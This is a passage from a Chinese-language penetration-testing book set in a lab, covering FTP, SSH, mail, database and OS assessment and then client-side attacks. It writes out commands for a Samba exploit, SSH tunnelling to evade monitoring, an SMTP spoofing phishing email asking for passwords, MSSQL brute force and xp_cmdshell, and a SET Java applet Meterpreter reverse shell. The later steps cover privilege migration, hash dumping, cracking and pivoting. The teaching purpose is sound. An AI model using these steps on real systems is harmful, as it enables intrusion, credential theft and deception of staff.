我们已经讨论了如何识别漏洞以及进行这方面的许多资源,这在整本书中都有提到。FTP 服务器是一种软件,因此也存在漏洞。事实上,我们使用的 FTP 服务器版本 3com Daemon 确实存在一个可利用的漏洞。但是,由于这是我们的测试实验室,我们在很大程度上控制着我们的机器以及在这些机器上运行的应用程序。

我们可以访问 Exploit DB 网站(www.exploit-db.com)来查看我们所指的内容。一旦我们在网站上,我们搜索在端口 21 上运行的所有漏洞。以下屏幕截图显示了搜索结果的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

安全外壳

安全外壳SSH)协议非常常见,所以在测试时很可能会遇到。我们应用于 FTP 的技术在某些情况下也可以应用于 SSH;这取决于管理员如何配置对 SSH 服务器的访问。我们不会在这里专注于此,因为我们已经涵盖了关于 FTP 的过程和步骤。

那么,SSH 协议是什么?它最初是作为 Telnet 协议明文弱点的替代品而设计的。了解更多关于该协议的方法是访问 Network Sorcery 网站。

SSH 的解释示例如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们对 SSH 协议有了一个简要的了解,让我们来看看与之相关的漏洞。如果我们回到我们的 Exploit DB 并搜索 SSH 的端口,即 22,我们可以查看协议本身的漏洞。这次搜索的结果的一个例子如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们的搜索结果返回了一些漏洞利用;然而,这次搜索并没有返回最新版本的漏洞。起初,我们会说这使得我们今天很难找到一个可以用来攻击网站的漏洞。在许多环境中,我们发现并继续发现 SSH 协议的旧版本,所以未来不要排除使用它。

SSH 协议的另一个好处是,它的强度取决于管理员的配置。如果管理员允许存在弱密码,那么我们仍然有机会使用 SSH 协议获得访问权限。这带我们来到一个非常重要的观点,那就是,我们并不总是必须利用漏洞才能进入系统!我们可以使用其他方法访问机器,所以并不总是必须找到一个漏洞。此外,漏洞的验证或利用必须根据工作范围来允许。

我们可以做的一个强大的事情是使用 SSH 来掩盖我们的存在并使客户网络的监控失效。由于 SSH 是加密的,我们可以利用它来远程执行命令一旦我们利用了一台机器。在这个演示中,我们将使用 Kioptrix 虚拟机。过程将是利用它,然后破解密码并使用它通过 SSH 登录到机器,然后在加密隧道中执行我们的命令。我们将一直运行 Wireshark,这样我们可以看到受害者的网络监控系统会看到什么。

正如我们之前发现的,我们知道我们有一个易受攻击的 Samba 版本,所以我们将使用它作为我们的初始攻击向量。我们可以使用 metasploit 或者来自 exploit 数据库的代码。我们需要运行 Wireshark 并查看我们攻击时能看到什么。在书中的例子中,我们将使用代码而不是 metasploit。我们决定使用这个是因为 metasploit Meterpreter shell 很棒,但如果我们没有 Windows 机器,那么我们的 shell 选择就有限了。为了提醒你,我们使用的是 C 文件10.c,我们已经将其编译成了sambaexp的名称,所以我们想要运行./sambaexp命令来看如何使用这个工具。记住,你必须在程序的目录中才能执行该命令。这个结果的一个例子如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在终端窗口中,我们需要输入以下命令:

./sambaexp –b 0 –v <IP address of the target>

这个命令应该会在机器上获取 shell,一旦你做到了这一点,你就可以复制密码文件并破解密码。或者,你可以创建一个用户或者更改 root 密码。你选择哪一个取决于你。下面的截图显示了一个被利用的机器的例子:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们现在在机器上有了 root 用户,但问题是我们正在通过网络进行,所以任何监控系统都会看到我们的操作。我们可以输入一些命令,然后在 Wireshark 中查看信息。输入/sbin/ifconfig来查看 IP 信息。然后,输入nmap来看看我们是否幸运地管理员已经在机器上安装了 Nmap。这个命令的一个例子如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

输入 nmap 后出现的屏幕(裁剪的文本不重要)

正如前面的截图所示,我们很幸运;嗯,并不是那么幸运,因为这是一个非常旧的 Nmap 版本。不过,我们的活动呢?我们被注意到了吗?Wireshark 捕获了什么?可以想象,我们所做的大部分事情都是明文的;因此,Wireshark 会显示我们的活动。以下截图显示了一个例子:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们截取了我们的通信,监视设备会知道我们在做什么。由于我们在机器上有 Nmap 工具,我们可以用它运行命令。但是,如果有人查看网络流量,我们会再次被发现;因此,最好使用隧道,我们现在就这样做。

在本书的示例中,我们已将受损机器上的 root 密码更改为password。要通过 SSH 连接,我们输入ssh root@192.168.177.148。以下截图显示了这个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们登录到了 root 账户。一旦我们进入,我们进行了一个 Nmap 扫描。这都很好,但我们想知道的是我们的网络流量对我们潜在客户的监视设备揭示了什么。以下截图显示了 Wireshark 信息的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们的网络流量显示了握手过程,其中包含了不同算法的明文信息以及客户端和服务器的横幅。一旦握手完成,其余数据就被加密了,因此我们无法看到在我们的隧道中发生了什么;这正是我们的目标。很多类型的架构都经常使用 SSH,如果我们攻击了一台机器并执行后期利用任务而不被监视,我们就可以利用这一点。

邮件

我们想讨论的下一个服务是邮件。这是我们可以指望在客户端服务器上找到的服务之一。我们面临的第一个挑战之一是正在使用的邮件服务器类型。一旦我们确定了这一点,我们就可以开始寻找攻击它的方法,或者至少在测试时利用它。我们遇到的大多数服务器将运行简单邮件传输协议SMTP),这是一件容易确定的事情。SMTP 运行的端口是 25,但管理员可以更改这一点,而且经常这样做。因此,要找到返回的横幅以发现服务运行的位置。

我们可以使用我们之前使用的相同技术,并在 Exploit DB 中搜索,看看是否可能有某种利用。以下截图显示了对 SMTP 利用的搜索示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们在 SMTP 服务的利用部门实际上并没有什么最新的内容。这只是我们在测试中可能遇到的邮件类型之一,所以让我们再探索另一种类型,看看我们是否能有更多的运气。我们将查看运行在端口 110 上的邮局协议POP)的服务的利用搜索的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们在这里并没有太多运气,这就是搜索利用的现实。所有系统和服务都会有漏洞,但并非所有漏洞都会有利用。我们还有一种邮件类型可以寻找,那就是运行在端口 143 上的互联网消息访问协议IMAP)。以下截图显示了对利用的搜索示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

嗯,我们在邮件服务的利用上没有取得任何进展,那么现在该怎么办呢?放弃吗?还没有!我们可以在 SMTP 中与邮件服务器交互,可能发送一封电子邮件。只要社会工程学是我们工作范围的一部分,这是可能的。你可以连接到端口 25 并发送电子邮件。多年前,你可以以任何你选择的用户身份发送电子邮件。以英国女王或美国总统的名义发送电子邮件是很有趣的。这是因为可以手动连接端口 25,并输入邮件服务器发送邮件时使用的命令。在 2000 年,这种邮件欺骗攻击被用来攻击 Emulex 公司,散布关于该公司的虚假信息。这直接影响了股价,并导致公司损失超过 20 亿美元,直到发现这是一封欺骗和非法的电子邮件。由于 Emulex 攻击后可用的中继站很少,你仍然需要对其进行测试。此外,我可以通过连接到端口 25 以合法用户的身份发送电子邮件。这通常被称为 SMTP 中继。步骤如下:

  1. telnet 25

  2. mail from: kevin@company.com

  3. rcpt to: victim@spoofed.com

  4. 数据

  5. 主题:IT 部门的消息

  6. 你好,这是 IT 部门,请发送一封电子邮件,附上您的用户名和密码,以访问 XYZ 项目文件。谢谢。

  7. (这是一个单独一行的句号,表示数据结束)

这是手动连接和发送电子邮件的过程。再次强调,大多数组织会阻止这样做,但值得一试。此外,在内部测试中,你可能会更成功。以下是一个失败的尝试示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,第一个rcpt to是发送到一个错误的电子邮件地址,并立即被拒绝,显示中继不被允许的消息。这是因为一段时间前通过 Emulex 攻击以及其他攻击所学到的教训。在今天的环境中,这很可能不会奏效,但总有机会。

数据库评估

我们正在测试我们想要视为有价值资产的东西之一:我们客户的数据库。这是公司通常拥有大部分数据的地方,如果泄露,可能会给公司造成巨大的损失。有许多不同的数据库。我们将只集中在其中的三个:Microsoft SQL (MSSQL), MySQL, 和 Oracle

MSSQL

多年来,MSSQL 数据库为我们提供了许多漏洞,但随着数据库版本的成熟,漏洞大大减少。我们将首先搜索在 Exploit DB 网站上是否能找到任何 MSSQL 数据库利用。搜索结果如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们没有太多针对 MSSQL 数据库的利用选择,但我们有一个针对 Symantec Endpoint Protection Manager 的有趣利用。然而,这不是针对 MSSQL 的,所以我们将把这留作作业,供那些想要追求的人。有趣的是,它通过 SQL 注入等方式攻击终端保护系统。

由于在搜索利用数据库时我们并没有发现太多东西,我们将把注意力转向我们在遇到 MSSQL 目标时使用的过程。与所有测试一样,要遵循的顺序与我们在整本书中讨论过的方法论非常相似。我们将使用的第一种方法是我们 Kali Linux 发行版中的 Nmap 工具。你需要一个 SQL Server 作为目标。如果你没有,你可以从微软网站上下载软件。请记住,你安装的版本越新,你就需要更改设置,使其更易受攻击。打开一个终端窗口,输入nmap –p 1433 --script ms-sql-info <target>。这个命令的结果示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们有一个旧版本的 SQL Server,这应该会让我们的工作更容易。一旦我们获得了数据库的信息,我们需要看看是否能确定管理账户的密码,这个账户是 MSSQL 中的 SA 账户。我们在 Nmap 中有一个脚本,可以进行暴力破解尝试来找到密码。在终端窗口中,输入nmap –p 1433 --script ms-sql-brute 192.168.177.149来确定密码。

尝试的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

不幸的是,我们的尝试失败了,在这种情况下,我们无法破解 SA 密码。通常,密码将是默认的,即<blank>。由于我们在这方面失败了,我们将在尝试从这个数据库中提取更多数据时面临更多挑战。由于我们控制着目标,我们可以创建一个具有默认或已知密码的目标,以便我们可以继续我们的测试。如果我们确实获得了 SA 账户的凭据,我们可以尝试转储密码哈希。要做到这一点,在 Kali 的终端窗口中输入nmap –p 1433 --script ms-sql-empty-password,ms-sql-dump-hashes <target>。这个命令的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们想要探索的是 SQL Server 中的存储过程。由于我们已经确定了凭据是默认的,我们可以在服务器上执行命令。在终端窗口中,输入nmap –p 1433 --script ms-sql-xp-cmdshell,ms-sql-empty-password -p 1433 192.168.177.149来在服务器上运行命令。默认情况下,命令将是ipconfig /all,但如果你想运行其他命令,可以进行更改。重要的是要注意,这个命令行访问与在服务器上打开命令提示符窗口是一样的。

这个命令的部分输出示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们几乎完全可以访问这台机器。当然,它正在运行 SQL Server 2000;但是,如果它正在运行 SQL Server 2005 呢?我们现在将看一下一个 Windows Server 2003 机器。要记住的主要事情是,对于 SQL Server 2005,这些存储过程默认是禁用的,管理员必须启用它们。此外,SA 密码必须保持默认,因此当你遇到 Server 2005 时,你可能无法像在 SQL Server 2000 配置中那样获得信息。此外,如果密码无法确定,你将无法执行命令。下面的截图示例显示了 SQL Server 2000 未配置默认密码的情况:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

到目前为止,我们只使用了 Nmap 中的脚本功能。我们还可以在 metasploit 中进行数据库测试。在终端窗口中输入msfconsole启动 metasploit 工具。一旦 metasploit 工具启动,输入use auxiliary/scanner/mssql/mssql_ping,然后设置RHOSTS并运行模块。模块的输出示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们现在已经了解了数据库服务器的信息以及正在运行的 SQL 版本。接下来我们需要做的是查看 SQL Server 的配置。在 metasploit 窗口中,输入use auxiliary/scanner/mssql/mssql_login,设置RHOSTS,然后运行命令。这个命令的输出示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们已经有足够的关于我们的目标、它正在运行的数据库以及数据库的配置的信息。是时候尝试使用 metasploit 对数据库进行枚举了。在 metasploit 窗口中,输入use auxiliary/admin/mssql/mssql_enum来枚举有关数据库的信息。这个命令的输出非常广泛。

这个命令的输出的第一部分示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们已经能够确定了许多配置参数,并且知道了已创建的数据库的名称。输出的另一部分示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们现在有了管理员登录和数据库配置允许的存储过程的列表。这里只显示了部分列表,但是建议您查看在 MSSQL 数据库中可以找到的所有可能的存储过程。

正如你所期望的,我们有能力使用这些存储过程执行命令,就像我们在 Nmap 中所做的一样。我们现在就来做这个。在终端窗口中,输入use auxiliary/admin/mssql/mssql_exec来访问模块。一旦进入模块,输入set CMD 'dir'来显示机器上的目录。请记住,这是一个具有系统权限的命令行,因此唯一的限制就是你的想象力。这个命令的输出示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

MySQL

接下来我们将看一下 MySQL 数据库,这是一个免费开源的数据库。和之前一样,我们将从 Exploit DB 网站开始搜索,看看在这个数据库方面可能有哪些利用程序。以下截图显示了搜索结果的一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们有许多关于 MySQL 的漏洞,针对这些漏洞已经有了利用程序。现在,我们将继续使用识别和枚举 MySQL 数据库中的信息的方法。

我们首先需要一个 MySQL 数据库来进行操作,所以我们可以使用我们的 CentOS 虚拟机。要安装数据库,输入yum install mysql-server mysql。安装完成后,需要进行检查。输入chkconfig mysqld on,一旦完成,输入/etc/init.d/mysqld start来启动数据库。

这是我们进行测试所需要做的。我们将使用 Nmap,就像我们在之前的部分中所做的一样,针对数据库进行操作。我们将输入的第一个命令是利用数据库已经设置了默认设置这一事实,因此根帐户没有密码。在 Kali 上的终端窗口中,输入nmap -p 3306 --script mysql-empty-password,mysql-databases <target>。这个命令的结果示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,这个版本的 MySQL 不允许连接。这是默认安装配置的更改。我们有几个选项。我们可以尝试在没有密码的情况下进行枚举;这可能不会让我们走得很远。此外,我们可以设置密码并配置数据库,看看我们能发现什么;但是,为了节省时间,我们将使用 metasploitable 虚拟机。我们只需要启动 MySQL 服务器。在 metasploitable 虚拟机终端窗口中,输入sudo /etc/init.d/mysql start。提示时,输入所需的密码。返回到您的 Kali 机器,输入nmap -p 3306 --script mysql-empty-password,mysql-databases <target>。此命令的输出示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们有了空密码的 MySQL 数据库,我们可以继续探索 Nmap 中的不同命令。在 Kali 终端窗口中,输入nmap -sV --script mysql-empty-password,mysql-databases,mysql-users <target>来枚举数据库中的用户。此命令的输出示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

metasploit 工具还有许多针对 MySQL 数据库的模块。我们在这里不会探索它们,因为它与我们在查看 MSSQL 数据库时涵盖的过程非常相似。我们已经涵盖了这个过程,因此鼓励您自行探索。

甲骨文

这是我们可能会遇到的最流行的数据库之一。Oracle 数据库在从小型到大型企业中被广泛使用。因此,在测试时很可能会遇到它;因此,我们需要查看一些测试它的技术。该产品是商业产品,但他们提供了一个您可以免费使用的 express 版本。您可以从 Oracle 网站下载它,但您需要注册。

互联网上有很多参考资料,可以帮助您设置 Oracle,可以查看 Oracle 自己发布的文档;请参阅docs.oracle.com/html/B13669_01/toc.htm。一旦您设置好了 Oracle 盒子,我们可以尝试多种技术来提取信息并进行测试。

版本 9 之后的 Oracle 数据库开始保护数据库中的信息。我们需要做的第一件事是确定 Oracle 数据库的 SID。我们将尝试使用 metasploit 模块来进行此操作。在 metasploit 终端窗口中,输入use auxiliary/scanner/oracle/sid_enum进入模块。一旦进入模块,您需要设置RHOSTS的值,然后输入run。此命令的输出示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,如果遇到新于 v9 的 Oracle 数据库,则 SID 受到保护。我们可以运行暴力破解攻击来确定 SIDs。还要注意一点,有一些默认值。安装 Oracle 数据库时,您可以在那里查看默认的 SID。要尝试暴力破解 SIDs,请在 metasploit 终端窗口中输入use auxiliary/admin/oracle/sid_brute进入模块。设置 RHOST,然后运行模块。此模块的输出示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,我们现在有一些 SID 可以参考。由于我们安装的是 Express Edition 安装包,很高兴看到有一个默认的 SID 为 XE。

接下来我们可以尝试暴力破解数据库账户的密码。我们可以使用 metasploit 中的另一个模块来实现这一点。在 metasploit 窗口中,输入use auxiliary/scanner/oracle/oracle_login进入模块。一旦进入模块,你需要设置RHOSTS值和RPORTS值。Oracle 的默认端口是 1521,所以你很可能会设置这个端口。这个命令的部分输出示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们现在已经锁定了所有账户。这总是尝试暴力破解时的危险,但至少我们是在我们的测试实验室中进行的,而不是在客户的实时数据库中进行的。

操作系统平台的具体情况

由于本章我们正在研究服务器,所以我们想看一下在测试服务器时可能遇到的一些平台特性。

Windows legacy

这些是较旧的 Windows 服务器,即 Windows 2000 和 Windows Server 2003。尽管 Windows 2000 服务器已经存在多年,但在测试时发现它并不罕见。特别是在测试监控和数据采集SCADA)系统时,发现这种情况非常普遍。在 SCADA 网络上经常看到这些系统。

确定我们可以针对这个平台做些什么的一个好方法是返回到我们的 Exploit DB 并搜索漏洞。搜索结果的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们有一些可用的漏洞利用,但随着操作系统变得过时,我们在数据库中真的没有那么多。我们也可以在互联网上搜索。Windows Server 2003 平台存在一些我们可以利用的漏洞。我们已经介绍了一些方法,所以当你遇到这些机器时,你可以使用这些技术来发现潜在的漏洞。

Windows Server 2008 和 2012

Windows Server 2008 和 2012 服务器代表了微软安全的不同方法,因此在很大程度上已被证明是难以攻击的目标,特别是 64 位版本。事实上,在撰写本书时,64 位漏洞利用并不多。在 Exploit DB 中搜索 64 位漏洞利用的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,在 Exploit DB 中搜索 64 位漏洞利用时,只返回了六个结果。这很好地表明了当涉及编写漏洞利用代码时,最新版本的 Microsoft 提供了挑战;因此,攻击这些操作系统的更常见方法是通过配置错误或在机器上运行的应用程序。

Unix

在测试时可能会遇到一些 Unix 服务器,但当你搜索它们时,你不会找到很多漏洞利用。这部分是因为最受攻击的平台是 Windows,因此没有很多人攻击 Unix。此外,商业 Unix 提供商并不多。仍然有Solaris,所以我们可以搜索 Solaris 漏洞利用。

这次搜索的结果示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Linux

Linux 操作系统的受欢迎程度不断增加,随之而来的是发现的漏洞数量也在增加。今天有很多 Linux 发行版,当你进行测试时,有可能会遇到各种发行版。Exploit DB 网站的搜索如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,2014 年有许多可用的漏洞利用,因此漏洞利用作者继续探索 Linux 代码的弱点。

MAC

有一个常见的误解是 MAC OS 没有漏洞利用。好吧,为了驳斥这一点,我们首先必须了解 MAC 是基于 Unix 的;因此,它有可能存在类似类型的漏洞。在下面的截图中显示了对漏洞利用数据库的搜索:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们确实有一些可以用于 MAC 机器的 OS X 的漏洞利用。有关 MAC 平台上恶意软件的更多信息,请参考来自 Blackhat 会议的以下简要介绍:www.blackhat.com/asia-14/briefings.html#Tsai

总结

在本章中,我们讨论了评估服务器的过程。我们从查看服务器运行的常见协议开始这一章。我们研究了 FTP、电子邮件和 SSH。我们探讨了在服务器运行这些服务时如何提取信息的方法。

在探索常见协议之后,我们继续研究了数据库以及我们如何评估它们。我们研究了 MySQL、MSSQL 和 Oracle。我们发现这些最新版本都有更多的保护措施,因此,在数据库配置了安全性方面,提取信息需要一些努力。

最后,我们结束了这一章,看了不同的服务器操作系统以及根据我们发现的平台可以获得的信息。我们遇到的平台越新,我们在测试方面面临的挑战就越大。

这就结束了这一章。在下一章中,我们将看看由于供应商改进了他们的安全性,我们对攻击的更常见的向量,即客户端攻击向量。

第十二章:探索客户端攻击向量

在本章中,我们将确定我们用于攻击客户的方法。与我们的服务器不同,客户端不提供服务;因此,让客户端等待我们攻击它并不是一件简单的事情。相反,我们将使用技术让客户端前来。在本章中,我们将讨论以下主题:

  • 客户端攻击方法

  • 从客户端窃取数据

  • 使用客户端作为枢纽点

  • 客户端利用

  • 二进制有效载荷

  • 恶意 PDF 文件

  • 绕过防病毒软件和其他保护工具

  • 混淆和编码

本章将为我们提供有关我们可以瞄准客户的方式的信息。我们将探讨不同的攻击客户的方法。我们还将探讨这是目前我们在今天进行的测试后将呈现的主要攻击向量。我们知道客户在大多数情况下都会点击链接或文件,这是我们攻击客户的矢量。

客户端攻击方法

正如我们已经说过的,当涉及到客户端时,他们并不只是坐在那里等待我们的连接;因此,我们必须欺骗他们并让他们前来。我们有许多方法可以做到这一点,现在我们将讨论其中的两种。

诱饵

当我们部署诱饵技术时,我们设置某种诱饵,然后等待客户前来采取诱饵。这与钓鱼的方法类似,也就是说,我们试图放置某种诱饵并吸引客户前来。这种方法的问题与钓鱼的问题相同。我们不知道客户是否会来到我们设置诱饵的地方。

诱饵

使用诱饵概念,我们仍在试图欺骗客户前来,但我们不只是等待他们前来并采取某种形式的诱饵。相反,我们向客户发送某种形式的通信,然后等待看看他们是否被诱骗跟随我们的钩子。在这种情况下,我们有三种主要方法,它们是电子邮件、网络和 USB 媒体。这也是网络钓鱼和鱼叉式网络钓鱼中使用的方法。在这些方法中,我们向潜在受害者发送电子邮件,然后看看他们是否会点击我们发送给他们的链接。如果他们确实点击了链接,我们就让他们来到我们这里或在他们的系统上运行一个应用程序,并利用这一点来发动我们的攻击。由于我们正在进行虚拟渗透测试环境的工作,我们可以控制攻击的客户端。因此,这是一个在我们的范围内进行实验,看看什么有效和什么无效的问题。如果我们被允许在我们的工作范围内进行客户端测试,我们可以尝试发送网络钓鱼邮件和其他社会工程学方法,看看我们是否能够欺骗员工陷入我们的陷阱。

最好通过示例来展示这一点,因此我们现在将这样做。我们需要 Kali Linux 机器和一台受害者机器。在本书的示例中,我们将使用 Windows 7 机器作为受害者机器。我们将使用 Dave Kennedy 开发的社会工程工具包,您可以从www.trustedsec.com下载。这是一个出色的工具,有助于进行客户端攻击。我们将为我们的第一个示例探索 Java 攻击向量。

一旦机器启动并运行,我们将打开一个终端窗口并输入setoolkit来启动社会工程工具包。接受服务条款并输入y以继续下一个提示。菜单的示例如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

社会工程工具包有许多菜单需要您逐步操作,我们现在将这样做。我们将使用社会工程攻击菜单,因此输入数字1,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在下一个窗口中,通过输入数字2选择网站攻击向量,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在下一个窗口中,通过输入数字1选择Java Applet 攻击方法,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将使用一个模板,因此输入数字1。输入no,因为我们不使用端口转发。输入 Kali 机器的 IP 地址以便受害者回连,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在模板选项中,输入数字1选择需要 Java,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将输入选项号2选择 Meterpreter 反向 shell 载荷,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在编码选项中,选择选项号4,选择后门可执行文件。接受默认的监听端口 443。几秒钟后,您应该会看到一个完成消息。如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦进程完成,metasploit 程序将运行并输入反向 shell 的配置。一旦这个过程完成,您应该会看到类似下面截图的结果:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

进程完成后显示的屏幕(裁剪的文本不重要)

如前面的截图所示,我们现在已经将利用作为后台任务运行,所以我们所要做的就是让客户端点击一个引用我们在利用中设置的 IP 地址的链接。为了我们的测试目的,我们将在 Windows 7 机器上打开一个浏览器,并输入 Kali 机器的 IP 地址。当您用浏览器连接服务器时,会弹出一个引用 Java 的对话框。如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们的意图是让受害者点击运行按钮,所以我们现在要这样做。一旦我们点击按钮,可能会弹出另一个窗口。我们不应该不得不点击超过两次。当我们返回到 Kali 机器时,我们应该会看到一个会话打开。如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们现在在机器上有一个会话,接下来要做的就是我们想要从这里做什么。我们将在下面看到这一点。

从客户端窃取数据

一旦我们获得了机器的 shell,我们将从中窃取信息。首先,我们将检查我们所处的权限级别。我们希望达到系统权限级别,这样我们就可以无障碍地访问数据。我们需要与我们的 shell 进行交互,因此在 Kali 窗口中按下Enter,然后输入sessions –i 1来访问会话。一旦进入会话,输入getuid。如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,我们没有达到系统权限级别,所以我们现在要解决这个问题。输入ps来显示受害机器上运行的进程。我们将找到一个以系统权限级别运行的进程。我们示例中的受害机器的样本如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,我们有几个进程可供选择。我们将尝试迁移Mcshield.exe进程。为此,我们输入migrate 1960并等待看我们的进程是否成功。如果成功,我们继续输入getuid。如果不成功,我们尝试另一个进程。看起来这是一个很好的进程,可以隐藏在按需杀毒扫描器中。如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们已经提升了权限,现在正式拥有了这个系统。因此,我们有自由在不需要更高权限级别的情况下窃取信息。

在 Meterpreter shell 中有许多工具可以用来窃取额外的信息。我们将首先探讨的是刮刀工具。顾名思义,我们使用这个工具从被 exploit 的机器中刮取信息。以下是使用该工具的示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

刮刀工具从被 compromise 的机器中提取了大量信息。这就是为什么提取信息和工具完成需要相当长的时间。该工具还从机器中提取密码哈希。我们可以使用hashdump命令提取此信息。以下是此过程的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们可以将哈希保存到文件中,然后通过密码破解工具John the Ripper或任何在线网站(如www.md5decrypter.co.uk)运行它们。一旦我们将哈希保存到文件hash.txt中,我们打开一个终端窗口并输入john hash.txt --show。这将启动密码破解过程。以下是此过程的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

显示密码破解过程的屏幕(裁剪的文本不重要)

我们还可以使用工具winenum来集中注意事实,即机器是 Windows 机器。以下是一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

所有这些信息都保存在目录/root/.msf4/logs/scripts中。在这个目录中,您将看到以使用的工具命名的其他目录。使用 winenum 工具后找到的文件示例如下所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的屏幕截图所示,我们现在已经从被 compromise 的机器中窃取了大量信息。以下是从netstat__vb.txt文件中窃取的信息的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在前面的屏幕截图中,您可以看到机器上的连接。这包括来自我们 Kali 机器的两个连接。正如您所看到的,我们使用端口 443。这样做有几个原因。其中一些原因是:它将看起来像网络日志中的正常流量,我们将加密信息,以便监视机器是盲目的。以下是我们使用的会话的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

前面的屏幕截图显示,当我们窃取信息时,并没有显示我们实际在做什么。这使得很难确定会话中发生了什么。

使用客户端作为枢纽点

当我们 compromise 一台机器时,我们想要做的下一件事是利用客户端源。这是因为我们知道大多数网络都配置了网络架构内部位置被视为更高级别的信任,而不是网络外部的位置。我们称之为枢纽。

枢纽

要设置我们的潜在枢纽点,我们首先需要利用一台机器。然后我们需要检查机器中是否有第二个连接到另一个网络的网络卡,而我们无法在不使用我们利用的机器的情况下到达该网络。在本书的示例中,我们将使用三台机器,Kali Linux 机器作为攻击者,Windows XP 机器作为第一个受害者,Windows Server 2003 机器作为第二个受害者。情景是我们让客户端访问我们的恶意网站,并使用一个名为Use after free的漏洞针对 Microsoft Internet Explorer。这种类型的漏洞一直困扰着该产品的多个版本。以下是来自 Exploit DB 网站的示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

列表中列出的漏洞是针对 Internet Explorer 9 的漏洞。在本书的示例中,我们将针对针对 Internet Explorer 8 的漏洞进行攻击;攻击的概念是相同的。简单来说,Internet Explorer 开发人员继续犯一个错误,那就是在分配内存后没有清理内存。

输入msfconsole启动您的 metasploit 工具。一旦控制台出现,输入search cve-2013-1347来搜索漏洞。搜索结果的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一个担忧是它被评为良好,但我们喜欢在选择我们的漏洞时找到卓越或更好的评级。对于我们的目的,我们将看看是否可以让它工作。当然,总是有可能我们找不到我们需要的东西,不得不选择要么编写我们自己的漏洞,要么记录它并继续测试。

